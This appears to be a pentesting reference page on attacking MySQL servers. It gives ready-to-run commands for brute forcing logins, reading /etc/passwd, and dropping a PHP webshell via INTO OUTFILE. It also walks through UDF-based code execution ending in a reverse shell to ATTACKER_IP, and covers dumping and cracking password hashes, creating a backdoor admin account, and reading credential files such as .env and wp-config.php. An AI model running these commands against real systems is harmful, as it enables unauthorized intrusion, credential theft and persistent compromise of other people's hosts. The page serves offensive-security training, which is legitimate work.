> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 3306 - MySQL

`Default Port: 3306`

MySQL is the most common open-source database backend behind web applications, which means it shows up constantly and often holds the actual data an engagement is after. A low-privilege account gets you data; an account with `FILE` privilege can read and write files on the underlying server, which turns a database compromise into a full host compromise.

> **Standard Access**
>
> A valid login without elevated privileges. Enough to enumerate databases, tables, and whatever data the account can `SELECT`.

> **FILE Privilege**
>
> Lets the account read arbitrary files with `LOAD_FILE()` and write them with `INTO OUTFILE`, the basis for webshell drops and, combined with UDFs, full RCE.

> [!TIP]
>
> Always try `root` with a blank password first. It's still the single most common finding on exposed MySQL instances, especially on dev and staging servers.

***

## Connecting

```bash theme={null}
mysql -u root -p                                # prompts for a password
mysql -u USER -p -h TARGET                       # remote connection
mysql -u USER -p -h TARGET DATABASE_NAME          # connect directly into a specific database
```

Running a single query without dropping into an interactive session is useful for quick checks or scripting:

```bash theme={null}
mysql -u USER -p -h TARGET -e "SHOW DATABASES;"
```

> [!TIP]
>
> `mysqldump` pulls an entire database (or all of them) out in one command, faster than manually exporting table by table once you've confirmed access:
>
> ```bash theme={null}
> mysqldump -u USER -p --all-databases > all_databases.sql
> ```

***

## Recon

```bash theme={null}
nmap -p3306 -sV TARGET                  # version and basic service detection
sudo nmap -T5 -A -p3306 --script=mysql* TARGET   # run every MySQL NSE script at once
```

A raw banner grab works even without the `mysql` client installed:

```bash theme={null}
nc -nv TARGET 3306
```

***

## Enumeration

Once connected, these cover the standard recon pass: what version is running, what databases exist, and what the current account can actually do.

```sql theme={null}
SELECT @@version;                 -- version
SHOW DATABASES;                    -- list databases
USE DATABASE_NAME;                  -- switch database
SHOW TABLES;                         -- list tables in the current database
SHOW COLUMNS FROM TABLE_NAME;         -- list columns in a table
SELECT * FROM TABLE_NAME;              -- dump a table
```

```sql theme={null}
SELECT USER();
SELECT CURRENT_USER();
SELECT user, host FROM mysql.user;   -- every account on the server, not just the current one
```

> **Privilege and configuration enumeration**
>
> Checking privileges tells you whether file read/write and RCE paths are even worth attempting before you try them.
>
> ```sql theme={null}
> SELECT user, host, File_priv, Super_priv FROM mysql.user;   -- FILE and SUPER privileges per account
> SHOW GRANTS;                                                  -- grants for the current user
> SHOW GRANTS FOR 'USERNAME'@'HOST';                              -- grants for a specific user
> ```
>
> ```sql theme={null}
> SHOW VARIABLES LIKE 'secure_file_priv';    -- restricts where LOAD_FILE/INTO OUTFILE can read or write
> SHOW VARIABLES LIKE 'plugin_dir';           -- where UDF shared libraries need to be dropped
> SHOW VARIABLES LIKE 'datadir';               -- MySQL's data directory
> ```
>
> An empty `secure_file_priv` value means no restriction at all; a specific path restricts file operations to that directory; `NULL` disables file operations entirely.

***

## Brute Forcing

```bash theme={null}
hydra -l root -P passwords.txt mysql://TARGET -t4
```

```bash theme={null}
nmap -p3306 --script mysql-brute TARGET
```

***

## Metasploit Modules

```bash theme={null}
search name:mysql                                 # list every MySQL-related module
use auxiliary/scanner/mysql/mysql_version            # fingerprint the server version
use auxiliary/scanner/mysql/mysql_login                # brute-force credentials
use auxiliary/admin/mysql/mysql_enum                     # enumerate users and privileges with valid creds
use auxiliary/scanner/mysql/mysql_schemadump               # dump every schema and table
use auxiliary/scanner/mysql/mysql_hashdump                  # dump password hashes
```

***

## File Read and Write

> [!NOTE]
>
> Both of these require the `FILE` privilege, and are blocked outright if `secure_file_priv` is set to a restrictive path. Check it first (see the Accordion above) before assuming either is possible.

```sql theme={null}
SELECT LOAD_FILE('/etc/passwd');
```

```sql theme={null}
SELECT '<?php system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
```

```bash theme={null}
curl "http://TARGET/shell.php?cmd=id"
```

> [!TIP]
>
> The file path for `INTO OUTFILE` resolves relative to MySQL's own working directory, not yours, so prefixing a path with `../../` can sometimes shorten it or get around a restriction that assumes an absolute path.

***

## UDF-Based Remote Code Execution

> [!WARNING]
>
> This requires `FILE` and usually `INSERT`/`CREATE` privileges, and directly executes OS commands as the MySQL service account. Treat a successful UDF load as a critical finding, it's a direct path to full code execution on the host.

User Defined Functions let MySQL call out to a compiled shared library. If you can write that library into the plugin directory (via `INTO OUTFILE` or `INTO DUMPFILE`) and the FILE privilege allows it, you can register a function that runs arbitrary OS commands.

> **Raptor UDF exploit walkthrough (classic Linux technique)**
>
> ```bash theme={null}
> # Compile the UDF library on your attack host
> gcc -g -c raptor_udf2.c
> gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
> ```
>
> ```sql theme={null}
> -- Load the compiled library into the database as a blob, then write it to the plugin directory
> use mysql;
> create table foo(line blob);
> insert into foo values(load_file('/path/to/raptor_udf2.so'));
> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
>
> -- Register the function and use it
> create function do_system returns integer soname 'raptor_udf2.so';
> select do_system('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');
> ```

***

## Hash Extraction and Cracking

```sql theme={null}
SELECT user, authentication_string FROM mysql.user;   -- MySQL 5.7+
SELECT user, password FROM mysql.user;                  -- MySQL < 5.7
```

```bash theme={null}
mysql -u root -p -e "SELECT CONCAT(user, ':', authentication_string) FROM mysql.user" > mysql_hashes.txt
```

```bash theme={null}
hashcat -m 300 mysql_hashes.txt rockyou.txt    # MySQL 4.1+ (SHA1-based)
hashcat -m 200 mysql_hashes.txt rockyou.txt    # legacy pre-4.1 hashes
```

***

## Privilege Escalation and Persistence

> [!WARNING]
>
> Creating accounts or modifying existing credentials changes the target environment directly. Confirm this is explicitly in scope before going beyond read-only enumeration.

With sufficient privileges, creating a standing admin account is faster than repeatedly using a found credential, though it's a noisy, high-impact action.

```sql theme={null}
CREATE USER 'support'@'%' IDENTIFIED BY 'PASSWORD';
GRANT ALL PRIVILEGES ON *.* TO 'support'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
```

***

## Credential Harvesting from the Host

If you've already got OS-level access (or RCE through a UDF), these files commonly leak MySQL credentials directly rather than needing to crack anything.

```bash theme={null}
cat ~/.my.cnf                        # per-user MySQL config, often has saved credentials
cat /etc/mysql/debian.cnf             # the Debian maintenance account, a common lateral movement target
cat ~/.mysql_history                   # command history, sometimes contains plaintext passwords
cat /<path-to-webapp>/config.php       # application-level DB credentials
cat /<path-to-webapp>/.env             # application-level DB credentials
cat /<path-to-webapp>/docker-compose.yml   # application-level DB credentials
cat /<path-to-webapp>/wp-config.php    # WordPress specifically
```

***

## Quick Reference Tools

> **[Hackviser: MySQL](https://hackviser.com/tactics/pentesting/services/mysql)**
>
> Quick-reference pentesting guide for the MySQL service.

> **[HackTricks: MySQL](https://hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html)**
>
> Deeper breakdown of MySQL enumeration and exploitation techniques.

> [!WARNING]
>
> File write access, UDF loading, and account creation are all high-impact actions capable of modifying or compromising the underlying host. Confirm scope before going past read-only enumeration.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.